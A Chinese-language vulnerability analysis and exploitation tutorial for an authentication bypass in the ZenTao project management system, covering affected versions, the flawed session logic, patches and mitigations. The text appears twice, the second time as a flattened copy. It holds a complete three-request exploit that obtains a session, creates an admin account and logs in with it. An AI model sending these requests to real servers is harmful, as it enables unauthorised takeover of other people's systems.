QVD-2024-15263 禅道项目管理系统身份认证绕过漏洞
字数 1118 2025-08-23 18:31:34

禅道项目管理系统身份认证绕过漏洞(QVD-2024-15263)分析及利用教学

漏洞概述

禅道项目管理系统存在身份认证绕过漏洞,远程攻击者可以利用该漏洞绕过身份认证,调用任意API接口并修改管理员用户的密码,最终实现系统接管。

受影响版本

  • 开源版: 16.x <= 禅道 < 18.12
  • 企业版: 6.x <= 禅道 < 8.12
  • 旗舰版: 3.x <= 禅道 < 4.12

漏洞原理分析

关键代码路径

  1. zentaopms/module/common/model.php - 包含deny函数
  2. zentaopms/module/testcase/control.php - 包含testcase
  3. zentaopms/framework/api/entry.class.php - 用户创建接口逻辑

漏洞触发流程

  1. deny函数问题:

    • model.php中的deny函数会为当前session添加一个user属性
    • 当用户没有相关功能权限时,系统会调用deny操作
  2. testcase类鉴权绕过:

    • 通过访问api.php?m=testcase&f=savexmindimport可以调用savexmindimport函数
    • 实例化testcase类时会调用helper::isAjaxRequest()检查是否为ajax请求
    • 需要在GET请求中添加参数HTTP_X_REQUESTED_WITH=XMLHttpRequest
  3. 用户创建接口滥用:

    • 用户创建接口位于/api.php/v1/users
    • 系统会检查session中是否有user属性或user值是否为guest
    • 通过上述步骤获取到带有user属性的session后,可以绕过此检查
    • 创建用户过程中缺乏进一步鉴权,可以创建管理员用户

漏洞利用步骤

1. 获取有效session

发送以下请求以获取带有user属性的session:

GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: target.com

2. 创建管理员用户

使用获取的session发送创建用户请求:

POST /api.php/v1/users HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: [获取的session cookie]

{
  "account": "attacker",
  "password": "hacked123",
  "realname": "Attacker",
  "role": "admin",
  "dept": 1
}

注:虽然可能返回403错误,但用户实际上已创建成功

3. 登录系统

使用新创建的管理员账户登录系统:

POST /user-login.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

account=attacker&password=hacked123

修复方案

  1. 官方补丁:

    • 升级到最新版本:
      • 开源版: 升级到18.12或更高
      • 企业版: 升级到8.12或更高
      • 旗舰版: 升级到4.12或更高
  2. 临时缓解措施:

    • 限制对/api.php的访问
    • 检查并删除异常用户账户
    • 监控系统日志中的异常API调用

总结

该漏洞通过组合利用系统中的多个逻辑缺陷,最终实现了身份认证绕过和权限提升。攻击者可以完全控制受影响系统,建议受影响用户立即升级到安全版本。

禅道项目管理系统身份认证绕过漏洞(QVD-2024-15263)分析及利用教学 漏洞概述 禅道项目管理系统存在身份认证绕过漏洞,远程攻击者可以利用该漏洞绕过身份认证,调用任意API接口并修改管理员用户的密码,最终实现系统接管。 受影响版本 开源版 : 16.x <= 禅道 < 18.12 企业版 : 6.x <= 禅道 < 8.12 旗舰版 : 3.x <= 禅道 < 4.12 漏洞原理分析 关键代码路径 zentaopms/module/common/model.php - 包含 deny 函数 zentaopms/module/testcase/control.php - 包含 testcase 类 zentaopms/framework/api/entry.class.php - 用户创建接口逻辑 漏洞触发流程 deny 函数问题 : 在 model.php 中的 deny 函数会为当前session添加一个 user 属性 当用户没有相关功能权限时,系统会调用 deny 操作 testcase 类鉴权绕过 : 通过访问 api.php?m=testcase&f=savexmindimport 可以调用 savexmindimport 函数 实例化 testcase 类时会调用 helper::isAjaxRequest() 检查是否为ajax请求 需要在GET请求中添加参数 HTTP_X_REQUESTED_WITH=XMLHttpRequest 用户创建接口滥用 : 用户创建接口位于 /api.php/v1/users 系统会检查session中是否有 user 属性或 user 值是否为 guest 通过上述步骤获取到带有 user 属性的session后,可以绕过此检查 创建用户过程中缺乏进一步鉴权,可以创建管理员用户 漏洞利用步骤 1. 获取有效session 发送以下请求以获取带有 user 属性的session: 2. 创建管理员用户 使用获取的session发送创建用户请求: 注:虽然可能返回403错误,但用户实际上已创建成功 3. 登录系统 使用新创建的管理员账户登录系统: 修复方案 官方补丁 : 升级到最新版本: 开源版: 升级到18.12或更高 企业版: 升级到8.12或更高 旗舰版: 升级到4.12或更高 临时缓解措施 : 限制对 /api.php 的访问 检查并删除异常用户账户 监控系统日志中的异常API调用 总结 该漏洞通过组合利用系统中的多个逻辑缺陷,最终实现了身份认证绕过和权限提升。攻击者可以完全控制受影响系统,建议受影响用户立即升级到安全版本。